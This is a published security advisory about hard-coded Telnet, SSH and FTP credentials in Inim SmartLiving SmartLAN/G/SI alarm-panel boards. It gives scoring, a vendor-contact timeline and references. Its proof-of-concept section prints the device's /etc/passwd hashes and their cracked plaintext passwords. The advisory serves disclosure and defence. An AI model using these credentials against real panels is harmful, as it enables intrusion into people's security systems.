Gjoko KrsticZSL-2019-5546Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
89.9%
Title: Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials
Advisory ID: ZSL-2019-5546
Type: Local/Remote
Impact: System Access, DoS
Risk: (4/5)
Release Date: 09.12.2019
Summary
SmartLiving anti-intrusion control panel and security system provides important features rarely found in residential, commercial or industrial application systems of its kind. This optimized-performance control panel provides first-rate features such as: graphic display, text-to-speech, voice notifier, flexible hardware, end-to-end voice transmission (voice-on-bus), IP connectivity.
SMARTLAN/SI: The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point networking capability and fast connectivity to the Internet. Therefore, it is possible to set up a remote connection and program or control the system via the SmartLeague software application. In effect, the SmartLAN/SI board grants the same level of access to the system as a local RS232 connection.
SMARTLAN/G: The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides advanced remote-access and communication functions. The SmartLAN/G board is capable of sending event-related e-mails automatically. Each e-mail can be associated with a subject, an attachment and a text message. The attachment can be of any kind and is saved to an SD card. The message text can contain direct links to domains or IP addressable devices, such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users global access to their control panels via any Internet browser accessed through a PC, PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of distinguishing the means of connection and as a result provides an appropriate web-page for the tool in use. Smartphones can control the system in much the same way as a household keypad, from inside the house or from any part of the world.
Description
The devices utilizes hard-coded credentials within its Linux distribution image. These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot be changed through any normal operation of the smart home device. Attacker could exploit this vulnerability by logging in and gain system access.
Vendor
INIM Electronics s.r.l. - <https://www.inim.biz>
Affected Version
<=6.x
SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3
Tested On
GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2
Vendor Status
[06.09.2019] Vulnerability discovered.
[10.09.2019] Vendor contacted.
[10.10.2019] No response from the vendor.
[11.10.2019] Vendor contacted.
[29.11.2019] No response from the vendor.
[30.11.2019] Vendor contacted.
[08.12.2019] No response from the vendor.
[09.12.2019] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.exploit-db.com/exploits/47763>
[2] <https://packetstormsecurity.com/files/155618>
[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/172838>
[4] <https://vulners.com/cve/CVE-2020-21995>
[5] <https://nvd.nist.gov/vuln/detail/CVE-2020-21995>
Changelog
[09.12.2019] - Initial release
[12.12.2019] - Added reference [1], [2] and [3]
[19.06.2021] - Added reference [4] and [5]
Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials
Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3
Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.
SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.
SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.
Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot
be changed through any normal operation of the smart home device. Attacker could exploit
this vulnerability by logging in and gain system access.
Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5546
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php
06.09.2019
--
# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:administrator:/:/bin/sh
nobody:*:254:254:nobody:/var/empty:/bin/sh
logout:gfr8cijmRSDck:498:506:logout:/:
# john --show /etc/passwd
root:pass:0:0:administrator:/:/bin/sh
logout:logout:498:506:logout:/:
2 password hashes cracked, 0 left
</p></body></html>Related
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
89.9%